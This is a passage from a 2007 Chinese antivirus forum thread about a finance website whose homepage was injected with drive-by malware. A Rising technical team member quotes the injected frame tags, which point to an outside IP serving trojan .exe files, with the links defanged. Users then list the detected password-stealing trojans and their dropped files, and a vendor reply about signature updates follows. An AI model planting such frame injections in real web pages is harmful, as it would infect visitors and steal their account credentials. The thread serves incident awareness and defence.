瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 中国基金网http://www.chinafund.cn/首页被挂马

12   2  /  2  页   跳转页

中国基金网http://www.chinafund.cn/首页被挂马

收藏
好学的忆忆
头像
快乐黄口狮
  • 帖子:263
  • 注册: 2007-01-28
  • 来自:
发表于： 2007-01-29 00:24 | 短消息 资料
字号： 小 中 大 11楼

病毒代码要怎么才能看到?是什么样哒...
gototop
 
mopery
头像
卡卡技术团队
  • 帖子:17737
  • 注册: 2005-12-06
  • 来自:New York
卡卡名人堂论坛9周年纪念
发表于： 2007-01-29 00:55 | 短消息 资料
字号： 小 中 大 12楼

<frame src="http://60.190.133.101/mf/m1.htm">
htp://60.190.133.101/mf/hjtz_xyq.exe

<frame src="http://60.190.133.101/wl/w1.htm">
htp://60.190.133.101/wl/hjtz_wl.exe

<frame src="http://60.190.133.101/mf/m2.htm">
htp://60.190.133.101/mf/hjtz_xyq.exe

<frame src="http://60.190.133.101/wl/w2.htm">
htp://60.190.133.101/wl/hjtz_wl.exe

<frame src="http://60.190.133.101/gz/g.htm">
htp://60.190.133.101/gz/s.exe

<frame src="http://60.190.133.101/gz/ak.htm">
htp://www.tmdhack.com/attachments/month_200608/ak.exe
gototop
 
鸟儿天上飞
头像
叱咤花甲狮
  • 帖子:2332
  • 注册: 2006-11-30
  • 来自:
发表于： 2007-01-29 01:03 | 短消息 资料
字号： 小 中 大 13楼

吃多了 没事干了 这是这小病毒拿出来吓唬人..
gototop
 
sxyx111
头像
初生襁褓狮
  • 帖子:1
  • 注册: 2007-01-28
  • 来自:
发表于： 2007-01-29 01:12 | 短消息 资料
字号： 小 中 大 14楼

不去那网站的！
gototop
 
mchenyu2007
头像
初生襁褓狮
  • 帖子:6
  • 注册: 2007-01-28
  • 来自:
发表于： 2007-01-29 15:33 | 只看楼主 短消息 资料
字号： 小 中 大 15楼

瑞星查到的病毒有：
Trojan.DL.VBS.Agent.cis:
在系统临时文件夹下：
120443398920.tmp 5250字节－5288字节（每次大小不一样）
21648903944.tmp 5250字节－5288字节（每次大小不一样）
21648906544.tmp 5282字节
21648906624.tmp 5288字节
21648906744.tmp 5250字节
Trojan.PSW.JHOnline.fbd
ak[1].exe 在IE临时文件夹 61440字节
algs.exe 在系统盘根目录 61440字节。

但我并没有发现上面那位朋友说的Winlog0n.exe。
此外，在c:\ProgramFiles下发现1.VBS、ak.VBS文件，在c:\还发现一个可执行文件，这三个文件创建时间与病毒文件基本相同。目前已将这三个文件上报给瑞星公司。
gototop
 
ADL
头像
社区嘉宾
  • 帖子:21666
  • 注册: 2001-06-22
  • 来自:江湖
发表于： 2007-01-29 19:14 | 短消息 资料
字号： 小 中 大 16楼

尊敬的客户，您好！
    您的邮件已经收到，感谢您对瑞星的支持。

    我们已经详细分析过您的问题和文件，以下是您上传的文件的分析结果：
    1.文件名：winlog0n.exe
    病毒名：Trojan.PSW.WLOnline.et

    我们将在较新的19.08.10版本(瑞星2006的18.64.10版本)中处理解决，请您届时将您的瑞星软件升级到19.08.10(瑞星2006的18.64.10版本)版本并且打开监控中心全盘杀毒。如果我们在测试过程中发现问题的话，我们会推迟一到两版本后升级
gototop
 
mchenyu2007
头像
初生襁褓狮
  • 帖子:6
  • 注册: 2007-01-28
  • 来自:
发表于： 2007-01-30 08:43 | 只看楼主 短消息 资料
字号： 小 中 大 17楼

太好了，不知道我上报的3个文件分析结果怎么样。
gototop
 
mchenyu2007
头像
初生襁褓狮
  • 帖子:6
  • 注册: 2007-01-28
  • 来自:
发表于： 2007-01-31 10:45 | 只看楼主 短消息 资料
字号： 小 中 大 18楼

自从中国基金网被挂马后，这几天一直没在上那个网，也不知道现在好了没？
gototop
 
<<上一主题|下一主题>>
12   2  /  2  页   跳转页
页面顶部
Powered by Discuz!NT